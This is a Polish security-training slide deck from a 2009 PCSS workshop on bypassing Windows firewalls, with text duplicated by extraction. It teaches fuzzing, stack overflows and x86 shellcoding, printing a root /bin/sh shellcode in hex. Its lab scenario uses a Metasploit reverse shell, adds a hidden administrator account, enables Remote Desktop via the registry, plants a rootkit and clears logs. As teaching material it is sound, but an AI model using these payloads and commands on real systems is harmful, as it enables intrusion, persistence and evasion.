93
Omijanie firewalli w systemach Windows Omijanie firewalli w systemach Windows --- --- warsztaty warsztaty --- --- 1 Pozna Poznań, , 18. 18.06 06.2009 .2009 Mateusz Drygas Mateusz Drygas, , Marcin Jerzak Marcin Jerzak , Jakub Tomaszewski Jakub Tomaszewski , Zesp Zespół ół Bezpiecze Bezpieczeństwa PCSS stwa PCSS

Omijanie Firewall

Embed Size (px)

Citation preview

Page 1: Omijanie Firewall

Omijanie firewalli w systemach WindowsOmijanie firewalli w systemach Windows

------ warsztaty warsztaty ------

1

PoznaPoznańń, , 18.18.0606.2009.2009

Mateusz DrygasMateusz Drygas, , Marcin JerzakMarcin Jerzak,,

Jakub TomaszewskiJakub Tomaszewski,,

ZespZespółół BezpieczeBezpieczeńństwa PCSSstwa PCSS

Page 2: Omijanie Firewall

AgendaAgenda

10:00 10:00 –– Rozpoczęcie, powitanie uczestników, informacje organizacyjneRozpoczęcie, powitanie uczestników, informacje organizacyjne10:00 10:00 –– Rozpoczęcie, powitanie uczestników, informacje organizacyjneRozpoczęcie, powitanie uczestników, informacje organizacyjne

10:05 10:05 –– Poznajmy się: czym jest PCSS , Zespół Bezpieczeństwa PCSS i MIC?Poznajmy się: czym jest PCSS , Zespół Bezpieczeństwa PCSS i MIC?

10:05 10:05 –– Trochę informacji technicznychTrochę informacji technicznych

10:15 10:15 –– Łamanie zabezpieczeń w praktyceŁamanie zabezpieczeń w praktyce

11:30 11:30 –– PrzerwaPrzerwa

11:45 11:45 –– Lokalnie i zdalnie...Lokalnie i zdalnie...11:45 11:45 –– Lokalnie i zdalnie...Lokalnie i zdalnie...

12:00 12:00 –– Firewalle Firewalle -- ćwiczenia w formie scenariuszaćwiczenia w formie scenariusza

13:30 13:30 –– Na zakończenie Na zakończenie –– garść przydatnej wiedzy igarść przydatnej wiedzy i dyskusjadyskusja

2

Page 3: Omijanie Firewall

Informacje organizacyjneInformacje organizacyjne

AnkietaAnkietaAnkietaAnkieta

Krótka i anonimowaKrótka i anonimowa

Pomoc na przyszłośćPomoc na przyszłość

Lista obecnościLista obecności

Proszę zaznaczyć, czy chcecie Państwo otrzymywać Proszę zaznaczyć, czy chcecie Państwo otrzymywać informacje o kolejnych szkoleniachinformacje o kolejnych szkoleniach

Prezentacja Prezentacja –– dostępna na stronach WWWdostępna na stronach WWWPrezentacja Prezentacja –– dostępna na stronach WWWdostępna na stronach WWW

http://mic.psnc.pl http://mic.psnc.pl

http://szkolenia.man.poznan.plhttp://szkolenia.man.poznan.pl

http://security.psnc.plhttp://security.psnc.pl

3

Page 4: Omijanie Firewall

Kim jesteśmy i co robimy?Kim jesteśmy i co robimy?

4

Page 5: Omijanie Firewall

PCSSPCSSPoznańskie Centrum Poznańskie Centrum SuperkomputerowoSuperkomputerowo--Sieciowe: Sieciowe: SuperkomputerowoSuperkomputerowo--Sieciowe: Sieciowe: 15 lat 15 lat w październiku 2008w październiku 2008

Operator sieci PIONIER (sieć Operator sieci PIONIER (sieć dla edukacji i nauki) oraz dla edukacji i nauki) oraz POZMANPOZMAN

Uczestnik projektów naukowoUczestnik projektów naukowo--badawczychbadawczych

Główne obszary Główne obszary zainteresowańzainteresowańzainteresowańzainteresowań

GridyGridy, sieci nowej , sieci nowej generacji, portalegeneracji, portale

Bezpieczeństwo sieci i Bezpieczeństwo sieci i systemówsystemów

http://www.pcss.plhttp://www.pcss.pl5

Page 6: Omijanie Firewall

Zespół Bezpieczeństwa PCSSZespół Bezpieczeństwa PCSSDedykowany zespół istnieje od 1996r.Dedykowany zespół istnieje od 1996r.

Podstawowy zakres prac ZespołuPodstawowy zakres prac Zespołu

Zabezpieczanie infrastruktury PCSSZabezpieczanie infrastruktury PCSS

Zadania bezpieczeństwa w projektach naukowo Zadania bezpieczeństwa w projektach naukowo –– badawczychbadawczych

Szkolenia i transfer wiedzySzkolenia i transfer wiedzy

Badania własneBadania własne

Audyty i doradztwo w zakresie bezpieczeństwa ITAudyty i doradztwo w zakresie bezpieczeństwa IT

6

Niektóre badania z ostatnich latNiektóre badania z ostatnich lat

Raport o bezpieczeństwie bankowości elektronicznej (Raport o bezpieczeństwie bankowości elektronicznej (20062006))

Bezpieczeństwo serwerów WWW Apache i MS IIS (Bezpieczeństwo serwerów WWW Apache i MS IIS (20072007))

Bezpieczeństwo sklepów internetowych (Bezpieczeństwo sklepów internetowych (20082008))

http://security.psnc.plhttp://security.psnc.pl

Page 7: Omijanie Firewall

Centrum Innowacji MicrosoftCentrum Innowacji Microsoft

Pierwsze w Polsce MICPierwsze w Polsce MIC

PartnerzyPartnerzyMicrosoft CorporationMicrosoft Corporation

Poznańskie Centrum Poznańskie Centrum SuperkomputerowoSuperkomputerowo--SiecioweSieciowe

Pierwsze w Polsce MICPierwsze w Polsce MICCentrum Bezpieczeństwa i Centrum Bezpieczeństwa i usług outsourcingowychusług outsourcingowych

7

SuperkomputerowoSuperkomputerowo--SiecioweSieciowe

Politechnika PoznańskaPolitechnika Poznańska

Otwarcie: Otwarcie: 1.06.2006r.1.06.2006r.http://mic.psnc.plhttp://mic.psnc.pl

Page 8: Omijanie Firewall

Wybrane zadania MIC w 2009Wybrane zadania MIC w 2009

Nowe obszary badań (od I 2009):Nowe obszary badań (od I 2009):Nowe obszary badań (od I 2009):Nowe obszary badań (od I 2009):

InteroperacyjnośćInteroperacyjność systemów i technologiisystemów i technologii

Wirtualizacja systemówWirtualizacja systemów

Wysokowydajne przetwarzanie komputerowe (HPC) Wysokowydajne przetwarzanie komputerowe (HPC) ––m.in. udział w programie HPC TAPm.in. udział w programie HPC TAP

Doroczna Konferencja MIC Doroczna Konferencja MIC -- 1616 kwietniakwietnia 2009,2009, 3.3. edycjaedycja

8

Doroczna Konferencja MIC Doroczna Konferencja MIC -- 1616 kwietniakwietnia 2009,2009, 3.3. edycjaedycja

Page 9: Omijanie Firewall

Szkolenia MIC Szkolenia MIC –– I półrocze 2009I półrocze 2009

InteroperacyjnośćInteroperacyjnośćInteroperacyjnośćInteroperacyjność

27.05: Zastosowanie technologii 27.05: Zastosowanie technologii SilverlightSilverlight......

10.06: Windows Server 2008 jako uniwersalna platforma zapewniająca 10.06: Windows Server 2008 jako uniwersalna platforma zapewniająca usługi wirtualizacji i usługi wirtualizacji i klastrowaniaklastrowania

23.06: Bezpieczeństwo heterogenicznej platformy 23.06: Bezpieczeństwo heterogenicznej platformy hostingowejhostingowej (są (są jeszcze ostatnie wolne miejsca)jeszcze ostatnie wolne miejsca)

BezpieczeństwoBezpieczeństwo

9

BezpieczeństwoBezpieczeństwo

18.06: Omijanie firewalli w systemach Windows 18.06: Omijanie firewalli w systemach Windows –– warsztaty BYOL dla warsztaty BYOL dla specjalistów bezpieczeństwaspecjalistów bezpieczeństwa

Page 10: Omijanie Firewall

Szkolenia MIC Szkolenia MIC –– II półrocze 2009II półrocze 2009

InteroperacyjnośćInteroperacyjnośćInteroperacyjnośćInteroperacyjność

Windows HPC ServerWindows HPC Server

Exchange Exchange LabsLabs jako uniwersalna platforma ejako uniwersalna platforma e--mailmail

BezpieczeństwoBezpieczeństwo

Bezpieczeństwo aplikacji ASP.NET MVCBezpieczeństwo aplikacji ASP.NET MVC

Bezpieczeństwo kontrolera domenyBezpieczeństwo kontrolera domeny

Szkolenia w Warszawie: IX/X 2009 (powtórzenie Szkolenia w Warszawie: IX/X 2009 (powtórzenie

10

Szkolenia w Warszawie: IX/X 2009 (powtórzenie Szkolenia w Warszawie: IX/X 2009 (powtórzenie cyklu „cyklu „InteroperacyjnośćInteroperacyjność”)”)

Zachęcamy do zgłaszania Zachęcamy do zgłaszania w ankietachw ankietach propozycji propozycji tematów na kolejne spotkania!tematów na kolejne spotkania!

Page 11: Omijanie Firewall

Informacje techniczne (Informacje techniczne (11))

SystemSystem

Linux Live + changes

User: root / Passwd: toor

Wifi Wifi -- „„pcss-warsztaty”

wpa_passphrase pcss-warsztaty warsztaty-firewalle > wpa.conf

wpa_supplicant -i<interface wifi> -cwpa.confwpa_supplicant -i<interface wifi> -cwpa.conf

11

Page 12: Omijanie Firewall

Informacje techniczne (2)Informacje techniczne (2)

AdresacjaAdresacja

Brama → 192.168.1.1

DNS → 192.168.1.1

Serwer do ćwiczeń → 192.168.1.7

Adres kliencki: 192.168.1.1XX

ifconfig <interface wifi> 192.168.1.1XX netmask 255.255.255.0ifconfig <interface wifi> 192.168.1.1XX netmask 255.255.255.0

ip route add default via 192.168.1.1

12

Page 13: Omijanie Firewall

Architektura środowiskaArchitektura środowiska

System Centralny

...XP_V1 XP_V2 XP_V3 XP_Vn

WifiWifi

13

...L1 L2 L3 Ln

WifiWifi

Page 14: Omijanie Firewall

Łamanie zabezpieczeń wŁamanie zabezpieczeń w praktycepraktyce

Wyszukiwanie podatności

Eksploitacja błędów

Shellcoding

Page 15: Omijanie Firewall

Wyszukiwanie podatnościWyszukiwanie podatności

15

Page 16: Omijanie Firewall

Ręczne wyszukiwanie błędów

Wartości niezgodne ze specyfikacją

poza zakresem

inne dane niż oczekiwane (float/string)

znaki specjalne

losowelosowe

Page 17: Omijanie Firewall

Automatyczne szukanie lukFuzzer

Stosunkowo łatwo napisać prosty fuzzer

Fuzzing – bardziej złożony

rozbudowane dane wejściowe (np. jpeg)

obsługa debuggeraobsługa debuggera

analiza wyników i dostosowywanie testowanych danych

Page 18: Omijanie Firewall

Rodzaje fuzzerów

Mutacyjne

Generacyjne

EwolucyjneEwolucyjne

Page 19: Omijanie Firewall

Wady fuzzingu

Nie znajduje błędów logicznych

Nieokreślony czas znalezienia podatności

Wraz ze wzrostem skomplikowania programu postępuje wzrost złożoności fuzzer'aWraz ze wzrostem skomplikowania programu postępuje wzrost złożoności fuzzer'a

Page 20: Omijanie Firewall

Jak napisać prosty „fuzzer” (1)Analiza programu:Analiza programu:

na jakich danych operuje?

skąd je bierze?

Modyfikacja danych wejściowych

różne znaki w parametrach

różne długości parametrów

modyfikacja przetwarzanych plikówmodyfikacja przetwarzanych plików

modyfikacje paczek sieciowych

Najlepsze wyniki osiągamy, gdy mamy dostęp do maszyny, na której znajduje się testowana aplikacja…

… i jeżeli testujemy program w debugerze (OlyDBG, gdb), którypomoże w analizie błędu

Page 21: Omijanie Firewall

Jak napisać prosty „fuzzer” (2)Po ustaleniu, co można „zaatakować”, czasem wystarczy... Po ustaleniu, co można „zaatakować”, czasem wystarczy... krótki skrypt w bash'u:

#!/bin/bash#very simple fuzzx=1C='i'licz=1while [ $x -le 10 ]; do

a=`./hello $C`wyn=$?if [ $ wyn = 139 ]wyn=$?if [ $ wyn = 139 ]

thenecho "SEGV dla ilosci:"$liczexit

fiC=$C'i'licz=$((licz+1))

done

Page 22: Omijanie Firewall

Przykładowe znane fuzzery - Linux

clfuzz.py – napisany w Pythonie fuzzer oparty o linię komend. Bardzo clfuzz.py – napisany w Pythonie fuzzer oparty o linię komend. Bardzo przydatny do testowania binariów setuid na błędy przepełnienia w linii komend

zzuf – działa w oparciu o mechanizm przechwytywania przerwań operacji plikowych i podmiany losowych bitów

SPIKE – to napisany w C kod, który jest bazą do tworzenia fuzzerów. Prawdopodobnie najszerzej wykorzystywany framework tego typuPrawdopodobnie najszerzej wykorzystywany framework tego typu

Peach – SmartFuzzer zdolny wykorzystywać zalety fuzzerów generacyjnych i mutacyjnych

Page 23: Omijanie Firewall

Przykładowe znane fuzzery - Windows

AxMan – webowy fuzzer oparty o mechanizmy ActiveX, napisany przez H.D. Moore’a.

Peach – SmartFuzzer, zdolny wykorzystywać zalety fuzzerów generacyjnych I mutacyjnychgeneracyjnych I mutacyjnych

Page 24: Omijanie Firewall

Bardziej złożone fuzzery

W Pythonie dla Linux'a:

http://192.168.1.7/fuzzing/fuzz.py

W C++ dla Windowsa:

http://192.168.1.7/fuzzing/fuzz_c.cpphttp://192.168.1.7/fuzzing/fuzz_c.cpp

Page 25: Omijanie Firewall

Ciekawostka

Mozilla udostępnila w 2007r JSfuzzer, którym testowała Firefoksa. Dzięki temu znaleziono za jego pomocą 280 błędów, z czego 27

można było wyeksploitować

http://www.cgisecurity.com/2007/08/mozilla-releases-javascript-fuzzer-at-blackhat-.html fuzzer-at-blackhat-.html

Page 26: Omijanie Firewall

ExploitationExploitation

0x414141410x41414141

26

Page 27: Omijanie Firewall

Pierwszy kod#include <unistd.h>#include <unistd.h>

char arg[] =

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";

int main(int argc, char **argv)int main(int argc, char **argv)

{

execl("./crackme", "./crackme", arg, NULL);

return 0;

}

Page 28: Omijanie Firewall

Stos

Last In First Out

„Rośnie w dół”

Wątki posiadają odrębne stosy

Operacje PUSH i POP

Page 29: Omijanie Firewall

Rejestry i adresy

ESP – wskaźnik szczytu stosu,

EIP – wskaźnik instrukcji,

EBP – rejestr bazowy,

EBP + 4 = RETEBP + 4 = RET

RET – adres powrotu,

Page 30: Omijanie Firewall

0x41414141(gdb) f 3#3 0x41414141 in ?? ()#3 0x41414141 in ?? ()(gdb) i regeax 0x0 0ecx 0xffffffff -1edx 0x280e8c4c 672042060ebx 0x3 3esp 0xbfbfec48 0xbfbfec48ebp 0x42424242 0x42424242 esi 0xbfbff7ac -1077938260edi 0xbfbff7bc -1077938244edi 0xbfbff7bc -1077938244eip 0x41414141 0x41414141 eflags 0x286 646cs 0x1f 31ss 0x2f 47ds 0x2f 47es 0x2f 47fs 0x2f 47gs 0x2f 47

Page 31: Omijanie Firewall

Rejestry

General Purpose

EAX, EBX, ECX

Segment Pointers

CS, DS

ControlControl

EIP

Page 32: Omijanie Firewall

RET - adres powrotu

Gdzie jest nasz shellcode?

export shellcode $(perl -e 'print “A”x100)

Gdzie jest stos?

echo 0 > /proc/sys/kernel/randomize_va_space

Jak trafić?

x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/xx90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90

Page 33: Omijanie Firewall

Podatny kod#include <stdlib.h>

#include <stdio.h>#include <stdio.h>

#include <string.h>

int bof(char *string)

{

char buffer[1024];

strcpy(buffer, string);

return 1;

}}

int main(int argc, char *argv[])

{

bof(argv[1]);

return 1;

}

Page 34: Omijanie Firewall

Ochrona pamięci

Stack cookies

Address Space Layout Randomization

SafeSEH

Heap Protection

Data Execution PreventionData Execution Prevention

Page 35: Omijanie Firewall

Separacja w Windows

User mode – ring 3

Kernel mode – ring 0

Page 36: Omijanie Firewall

Stałe błędy programistyczne (1)

Stack Overflow

np. nadpisujemy adres powrotu adresem, który znajduje się w ring 3

Page 37: Omijanie Firewall

Stałe błędy programistyczne (2)

Niedostateczna walidacja adresów pochodzących z user-mode

np. nadpisujemy wskaźnik do danej funkcji ring 0 adresemwskazującym na ring 3

Page 38: Omijanie Firewall

Stałe błędy programistyczne (3)

Non-executable stack DEP

Return to libc – przekierowanie sterowania do funkcji, a na stosie znajdują się parametry

system() - uruchamia proces

Page 39: Omijanie Firewall

ShellcodingShellcoding

39

Page 40: Omijanie Firewall

Definicja

kod maszynowy możliwy do wykonania bezpośrednio przez kod maszynowy możliwy do wykonania bezpośrednio przez procesor, wykonujący zawsze DOKŁADNIE to, co chcemy

brak statycznych odwołań

Pomijamy, jeśli tylko się da, znak -> NULL

xor X Xxor X X

http://192.168.1.7/shellcoding/

Page 41: Omijanie Firewall

Narzędzia

gcc - kompilator, � gcc - kompilator,

� as - assembler,

� ld - linker,

� gdb - debuger,

� objdump (-x, -d, -D) –> disassembler+� objdump (-x, -d, -D) –> disassembler+

� strace

� vi i inne

Page 42: Omijanie Firewall

Wrapper kodu assemblera (test.c)

char shellcode[] = ""; //nasz shellcode w tablicy globalnejchar shellcode[] = ""; //nasz shellcode w tablicy globalnej

int main (int argc, char **argv)

{

int (*ret)(); //wskaznik funkcji

ret = (int(*)())shellcode; //wskazujemy nasz shellcode

(int)(*ret)(); //wywolanie jak funkcji

return 0;

}

Page 43: Omijanie Firewall

Budowanie shellcode'u krok po kroku

1. Co ma robić shellcode?1. Co ma robić shellcode?

2. Definicja funkcji przez niego używanych,

3. Wywołania systemowe potrzebnych funkcji,

4. Budowa kodu assemblera,

5. Kompilacja do „binarki”,

6. Deassemblacja,

7. Budowanie shellcodu,

8. Test.

Page 44: Omijanie Firewall

Przyklad (1) – exit(0)Funkcja exit()Funkcja exit()

Definicja -> man 2 exit

http://www.cl.cam.ac.uk/cgi-bin/manpage?2+exit

void _exit(int status);

Page 45: Omijanie Firewall

Przyklad (1) – exit(0)syscallsyscall

grep __NR_exit /usr/include/asm/unistd_32.h

#define __NR_exit 1

grep __NR_exit /usr/include/asm/unistd.h

grep __NR_exit /usr/include/asm/unistd_64.h

Page 46: Omijanie Firewall

Przyklad (1) – exit(0)As exit.s -o exit.o

ld exit.o -o exit

./exit

echo $?

objdump -d exit

shellcode:

“\x31\xc0\xb0\x01\x31\xdb\xcd\x80”

kilka testów (test_exit.c)

Page 47: Omijanie Firewall

Przyklad (2) – “Hello World”Funkcje exit() i write()Funkcje exit() i write()

Definicja -> man 2 exit

http://www.cl.cam.ac.uk/cgi-bin/manpage?2+exit

void _exit(int status);

Definicja -> man 2 write

http://www.cl.cam.ac.uk/cgi-bin/manpage?2+write

ssize_t write(int fd, const void *buf, size_t count);

Page 48: Omijanie Firewall

Przyklad (2) – “Hello World”

syscall

grep __NR_exit /usr/include/asm/unistd_32.h

#define __NR_exit 1

grep __NR_write /usr/include/asm/unistd_32.h

#define __NR_write 4

Page 49: Omijanie Firewall

Przyklad (2) – “Hello World”

Własności i ich konsekwencje – brak NULL i statycznych odwołańWłasności i ich konsekwencje – brak NULL i statycznych odwołań

call

call wrzuca następującą po niej wartość (standardowo – adrespowrotu) na stos i przenosi kontrolę do miejsca, ktore jest jej powrotu) na stos i przenosi kontrolę do miejsca, ktore jest jej

parametrem.

Page 50: Omijanie Firewall

Przyklad (2) – “Hello World”as hello.s -o hello.o | ld hello.o -o hello as hello.s -o hello.o | ld hello.o -o hello

./hello | objdump -d hello

shellcode:

"\xeb\x19\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04"\

"\xb2\x0e\x59\xb3\x01\xcd\x80\x31\xc0\xb0\x01\x31"\

"\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x48\x65\x6c\x6c"\

"\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0a"

test (test_hello.c)

Page 51: Omijanie Firewall

Przyklad (2) – “Hello World”Uwaga:Uwaga:

H e l l o , W o r l d ! \n

48 65 6c 6c 6f 2c 20 57 6f 72 6c 64 21 0a

czyli:czyli:

“\x48\x65\x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0a”

Page 52: Omijanie Firewall

Przyklad (3) – /bin/sh + rootFunkcje setreuid() i execve()Funkcje setreuid() i execve()

Definicja -> man 2 setreuid

http://www.cl.cam.ac.uk/cgi-bin/manpage?2+setreuid

int setreuid(uid_t ruid, uid_t euid);

Definicja -> man 2 execve

http://www.cl.cam.ac.uk/cgi-bin/manpage?2+execve

int execve(const char *filename, char *const argv[], char *const envp[]);

Page 53: Omijanie Firewall

Przyklad (3) – /bin/sh + root

syscall

grep __NR_setreuid /usr/include/asm/unistd_32.h

#define __NR_setreuid 70

grep __NR_execve /usr/include/asm/unistd_32.h

#define __NR_execve 11

Page 54: Omijanie Firewall

Przyklad (3) – /bin/sh + rootexecve("/bin/sh", *"/bin/sh", (char **)NULL);

execve("/bin/sh", - ciąg do wywołania (bez NULLi!)

*"/bin/sh", - adres tego ciągu

(char **)NULL) - NULL-owy wskaźnik do przyległej pamięci (parametry wywołania /bin/sh)

ciąg w pamięci wygląda tak: /bin/shNXXXXYYYYciąg w pamięci wygląda tak: /bin/shNXXXXYYYY

gdzie N ma wartość dokładnie \0 (koniec ciągu), czyli dla nas zakazaną – nie możemy mu nadać wartości NULL, ale możemy go XOR-ować

XXXX (4 bajty) to adres adresu naszego ciągu

YYYY (4 bajty) to adres wskaźnika envp[] (aktualnie call *NULL)

Page 55: Omijanie Firewall

Przyklad (3) – /bin/sh + rootAs shell.s -o shell.o As shell.s -o shell.o

ld shell.o -o shell

./shell

(?)

shellcode:

(?)

Page 56: Omijanie Firewall

Przyklad (3) – /bin/sh + root

Segmentation fault !!!

Dlaczego??Dlaczego??

Page 57: Omijanie Firewall

Przyklad (3) – /bin/sh + root

as -g shell.s -o shell.o

(przydaje się, ale nie jest konieczne)

ld shell.o -o shell

objdump -x shell

.text ma atrybut readonly :/

ale .data :D

Page 58: Omijanie Firewall

Przyklad (3) – /bin/sh + rootas shell_new.s -o shell_new.o as shell_new.s -o shell_new.o

ld shell_new.o -o shell_new

./shell_new | objdump -d shell_new

"\x31\xc0\xb0\x46\x31\xc9\x31\xdb\xcd\x80\xeb\x18\x5b"\

"\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x31\xc0"\

"\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe3\xff"\

"\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

test (test_shell_new.c)

Page 59: Omijanie Firewall

Co dalej?

minimalizacja długości

shellcody bez konkretnych znaków

shellcody tylko ze znaków drukowalnychshellcody tylko ze znaków drukowalnych

Page 60: Omijanie Firewall

PrzerwaPrzerwa

60

Page 61: Omijanie Firewall

Lokalnie i zdalnie...Lokalnie i zdalnie...

Page 62: Omijanie Firewall

Szukanie błędów

Większy problem ze zdefiniowaniem faktu błędu

Niejednoznacze odpowiedzi od serwera

Utrudnione debugowanie Utrudnione debugowanie

Page 63: Omijanie Firewall

Exploitowanie

Znaczące problemy z uzyskaniem danych o procesach (rejestrach) oraz stanie usługi

Brak znajomości środowiska docelowego

Page 64: Omijanie Firewall

Shellcoding

Wymagana jest dokładna znajomość systemu zdalnego

Przy założeniu dokładnie tych samych funkcjonalności shellcodu –złożoność problemu jest w przybliżeniu identyczna

Page 65: Omijanie Firewall

Firewalle Firewalle -- ćwiczenia wćwiczenia w formie formie

scenariuszascenariusza

Page 66: Omijanie Firewall

Wprowadzenie

Wiedza początkowa agresora:

Cel znajduje się pod adresem 192.168.1.7,

Cel wykorzystuje system Windows,

Cel jest chroniony przez co najmniej jeden firewall

Page 67: Omijanie Firewall

Rozpoznanie maszyny

Skan adresu 192.168.1.7

Page 68: Omijanie Firewall

Podpowiedź (!)

Poszukiwany otwarty port: 133XX

Page 69: Omijanie Firewall

Rozpoznanie reakcji na porcie

Skanowanie

Próby połączeń

Testy reakcji na pakiety

Page 70: Omijanie Firewall

Fuzzing na rozpoznany port

Zadanie:

Napisać (odszukać, przystosować) fuzzera

i zaatakować port

Page 71: Omijanie Firewall

Podpowiedź (!)

http://172.168.1.7/fuzzing/fuzz_lan.py

Page 72: Omijanie Firewall

Reakcja usługi na danym procie

Analiza wykonanych czynności i reakcji serwera

Page 73: Omijanie Firewall

Ponowne rozpoznanie portów

Skanowanie

Page 74: Omijanie Firewall

Podpowiedź (!)

Poszukiwany otwarty port: 144XX

Page 75: Omijanie Firewall

Ponowne rozpoznanie usługi

rozpoznanie

atak

explitowanie przez znane luki explitowanie przez znane luki

Page 76: Omijanie Firewall

Podpowiedź (!)

Metasploit

BadBlue

windows/shell/reverse_tcp

Page 77: Omijanie Firewall

Dalsze działanie (1)

Dodanie konta z prawami administratora

Page 78: Omijanie Firewall

Podpowiedź (!)

net user janek janka /add

net localgroup

net localgroup Administratorzy janek /add

Page 79: Omijanie Firewall

Dalsze działanie (2)

Otwieramy dostęp przy pomocy:

Windows XP Remote Desktop

Page 80: Omijanie Firewall

Podpowiedź (!)

Weryfikacja ustawień:Weryfikacja ustawień:

reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

Zmiana ustawień:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x0

Page 81: Omijanie Firewall

Dalsze działania + czyszczenie (1)

Komunikat firewalla – usunięcie (?)

Umieszczenie programu typu rootkit

Ponowne uruchomienie usługi firewalla (Kerio Ponowne uruchomienie usługi firewalla (Kerio Personall Firewall)

Page 82: Omijanie Firewall

Dalsze działania + czyszczenie (2)

Czyszczenie logów systemowych

Usunięcie dodanego konta

Wyłączenie Remote DesktopWyłączenie Remote Desktop

Page 83: Omijanie Firewall

Założenie (!)

Atak przeprowadzamy z sieci lokalnej,

ale Internet jest udostępniony przez inny interfejs,

na którym dostępny dla TCP

jest jedynie port docelowy 80-ty

(dodatkowy system firewall

dla styku sieci lokalnej i Internetu)

Page 84: Omijanie Firewall

Rootkit -> Podpowiedź (!)

WinAPI

DllInjection

lub

IP over DNS

Page 85: Omijanie Firewall

Schemat „wyjścia” rootkita

Proces aplikacji - hostaFW

Wątek podczepiany

Page 86: Omijanie Firewall

Na zakończenieNa zakończenie

garść przydatnej wiedzy garść przydatnej wiedzy ii dyskusjadyskusjagarść przydatnej wiedzy garść przydatnej wiedzy ii dyskusjadyskusja

Page 87: Omijanie Firewall

Shellcody, rootkity, exploitygdzie ich szukać?

INTERNET!!!!INTERNET!!!!

...czego dowodzą dzisiejsze warsztaty!

Page 88: Omijanie Firewall

Ciekawostka – analiza exploita

Kerio Personal Firewall v2.1.4

remote code execution exploit

http://192.168.1.7/exploit/kpf214.txt

Page 89: Omijanie Firewall

Analiza DllInjection – schemat (1)

Start Znalezionohosta?

TAKTAK

NIENIE

Wstrzyknij kod

http://192.168.1.7/winapi/kod.tar.gz

hosta?

Page 90: Omijanie Firewall

Zabezpieczenia !?

Aktualizacja, aktualizacja, aktualizacja (!)

Godny polecenia producent oprogramowania

Dbanie o „czystość” własnego systemuDbanie o „czystość” własnego systemu

Świadome użytkowanie komputera

Page 91: Omijanie Firewall

Dlaczego nacisk na atak, Dlaczego nacisk na atak, a nie na obronę?a nie na obronę?a nie na obronę?a nie na obronę?

??????

91

Dyskusja!Dyskusja!

Page 92: Omijanie Firewall

Informacje kontaktowe Informacje kontaktowe Autorzy prezentacjiAutorzy prezentacji

[email protected]@[email protected]@man.poznan.pl

whlwhlyy@@man.poznan.plman.poznan.pl

mmateuszateusz@@man.poznan.plman.poznan.pl

Centrum Innowacji MicrosoftCentrum Innowacji Microsoft

httphttp://mic.psnc.pl://mic.psnc.pl

[email protected]@man.poznan.pl

PCSSPCSSPCSSPCSS

http://www.pcss.plhttp://www.pcss.pl

Zespół Bezpieczeństwa PCSSZespół Bezpieczeństwa PCSS

httphttp://security.psnc.pl://security.psnc.pl

[email protected]@man.poznan.pl92

Page 93: Omijanie Firewall

Pytania i dyskusja, propozycje?Pytania i dyskusja, propozycje?

Dziękujemy za uwagę!Dziękujemy za uwagę!93